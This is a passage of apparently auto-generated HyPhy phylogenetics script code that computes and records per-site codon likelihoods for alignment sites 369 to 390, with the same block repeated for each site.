sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 369...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1104,1105,1106\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 369\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"369\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 370...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1107,1108,1109\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 370\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"370\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 371...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1110,1111,1112\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 371\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"371\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 372...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1113,1114,1115\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 372\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"372\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 373...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1116,1117,1118\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 373\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"373\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 374...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1119,1120,1121\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 374\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"374\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 375...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1122,1123,1124\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 375\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"375\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 376...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1125,1126,1127\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 376\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"376\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 377...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1128,1129,1130\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 377\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"377\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 378...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1131,1132,1133\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 378\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"378\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 379...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1134,1135,1136\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 379\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"379\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 380...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1137,1138,1139\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 380\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"380\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 381...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1140,1141,1142\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 381\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"381\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 382...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1143,1144,1145\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 382\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"382\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 383...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1146,1147,1148\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 383\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"383\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 384...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1149,1150,1151\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 384\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"384\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 385...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1152,1153,1154\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 385\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"385\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 386...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1155,1156,1157\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 386\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"386\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 387...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1158,1159,1160\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 387\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"387\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 388...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1161,1162,1163\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 388\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"388\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 389...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1164,1165,1166\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 389\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"389\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 390...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1167,1168,1169\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 